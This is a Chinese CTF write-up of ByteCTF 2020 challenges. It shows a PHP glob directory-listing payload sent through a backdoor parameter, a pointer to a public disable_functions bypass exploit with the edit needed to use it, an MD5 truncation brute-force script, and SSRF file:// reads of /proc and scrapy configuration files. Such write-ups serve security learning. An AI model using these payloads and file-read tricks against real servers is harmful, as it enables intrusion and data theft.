前言
这是我第一次参加的比赛,两天时间一道题都没做出来,害有点小难受,希望能够将WP记录好,方便以后的复习查阅
Wallbreaker 2020
官方的预期解还没有出来难受,期待决赛后出预期解!!!
一开始我自己打开题目发现看起来不是特别难的亚子,首先查看了phpinfo
,
接下来我进入了蚁剑,但是发现除了html
目录下可读,tmp
目录下可读可写,
然后我想到了利用glob
进行文件的读取http://123.57.91.179:30080/?backdoor=$a=new DirectoryIterator("glob:///*"); foreach($a as $f)%20{echo($f->__toString().' '); }
读取到了根目录下面有个readflag
的文件,之后便想着如何调用了
然后用光了所有的姿势都过不去难受
之后从下面的链接https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php利用,官方WP说了只要把24行改为 (new Error)->getTrace() 即可利用。
将文件上传到tmp
目录下面
douyin_video(攻破中)
easy_scrapy
题目里面有个恶心的MD5截断比较
,放个脚本免得迷路了
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
啊这,为啥我一开始那样搞却没有任何结果我服了啊这,不过反正也做不出来害,就知道第一步而已
题目是个scrapy,提交url后会爬取,同时会抓取页面内的链接再爬一次。a标签会request请求一次,并且scrapy支持file协议,考虑用file协议读文件。简单测试会发现爬虫会抓取页面中的href链接并进行爬取。
之后使用/proc/self/environ
读取代码路径environ
能看到pwd
是/code
可以读到启动的命令为:
/usr/local/bin/python /usr/local/bin/scrapy crawl byte
即python scrapy crawl byte
。这是启动scrapy
爬虫的命令,阅读文档会发现他需要去加载scrapy.cfg
这个配置文件,因此接下来我们去读取其配置文件file:///proc/self/cwd/scrapy.cfg
稍微整理一下吧
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html
[settings]
default = bytectf.settings
[deploy]
#url = http://localhost:6800/
project = bytectf
scrapy默认创建的项目都是相同的结构,之后读取setting: 嗯这还是看一下项目结构是啥,
既然知道了那就去读取一下settings
文件
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
'bytectf.pipelines.BytectfPipeline': 300,
}
啊这,虽然看到了redis的地址,然后我们有一个无回显的SSRF,肯定是会尝试redis一把梭的,但是并不能利用,简单尝试发现不能打通后继续读爬虫的源码
参考链接
ByteCTF 2020 部分题目 官方Writeup
浅谈几种Bypass disable_functions的方法
XSLeaks 攻击分析 —— HTTP缓存跨站点泄漏
打破iframe安全限制的3种方案
[翻译]XS-Leaks攻击简介
Feature-Policy
scrapy创建项目及工程目录结构介绍
Linux /proc目录详解
CTF之MD5截断比较